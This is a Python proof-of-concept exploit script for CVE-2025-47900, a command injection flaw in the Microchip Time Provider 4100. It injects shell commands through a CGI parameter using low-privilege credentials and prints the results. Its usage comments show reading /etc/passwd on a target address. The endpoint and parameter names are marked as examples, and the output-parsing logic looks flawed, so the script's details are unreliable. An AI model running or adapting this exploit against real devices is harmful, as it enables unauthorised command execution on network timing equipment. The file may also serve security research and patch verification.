#!/usr/bin/env python3
# CVE-2025-47900 - Microchip Time Provider 4100 OS Command Injection PoC
# Author: Security Research
# Description: Demonstrates OS command injection via CGI endpoint with low-privilege credentials
import requests
import argparse
import sys
TARGET_URL = "https://{host}/cgi-bin/{endpoint}"
DEFAULT_ENDPOINT = "diagnostics.cgi" # Example vulnerable endpoint
DEFAULT_PARAM = "hostname" # Example injectable parameter
def build_payload(cmd):
"""Build command injection payload using shell metacharacters."""
# Use semicolon to terminate the legitimate command and inject ours
return f";{cmd};echo"
def exploit(host, port, username, password, endpoint, param, command, verify_ssl=False):
"""Send exploit request to the vulnerable Time Provider 4100 device."""
url = TARGET_URL.format(host=f"{host}:{port}", endpoint=endpoint)
payload = build_payload(command)
# Inject payload into the target parameter
data = {param: payload}
try:
response = requests.post(
url,
data=data,
auth=(username, password),
verify=verify_ssl,
timeout=15,
headers={
"User-Agent": "Mozilla/5.0 (compatible; TP4100-PoC)",
"Content-Type": "application/x-www-form-urlencoded",
},
)
print(f"[+] HTTP Status: {response.status_code}")
print(f"[+] Response Length: {len(response.text)}")
# Extract command output from response (between our echo markers)
if "echo" in response.text:
parts = response.text.split("echo")
if len(parts) >= 2:
output = parts[1].strip()
print(f"[+] Command Output:\n{output}")
return True
print(f"[+] Raw Response:\n{response.text[:2000]}")
return response.status_code == 200
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-47900 - Microchip Time Provider 4100 OS Command Injection"
)
parser.add_argument("-H", "--host", required=True, help="Target IP address")
parser.add_argument("-p", "--port", default=443, type=int, help="Target port (default: 443)")
parser.add_argument("-u", "--username", required=True, help="Low-privilege username")
parser.add_argument("-P", "--password", required=True, help="Password")
parser.add_argument("-e", "--endpoint", default=DEFAULT_ENDPOINT, help="CGI endpoint")
parser.add_argument("--param", default=DEFAULT_PARAM, help="Injectable parameter")
parser.add_argument("-c", "--command", default="id", help="Command to execute")
args = parser.parse_args()
print(f"[*] Targeting {args.host}:{args.port}")
print(f"[*] Endpoint: {args.endpoint}, Param: {args.param}")
print(f"[*] Payload command: {args.command}")
success = exploit(
args.host, args.port, args.username, args.password,
args.endpoint, args.param, args.command,
)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()
# Usage example:
# python3 cve_2025_47900.py -H 192.168.1.100 -u admin -P password -c "id"
# python3 cve_2025_47900.py -H 192.168.1.100 -u user -P pass -c "cat /etc/passwd"
# python3 cve_2025_47900.py -H 192.168.1.100 -u user -P pass -c "uname -a"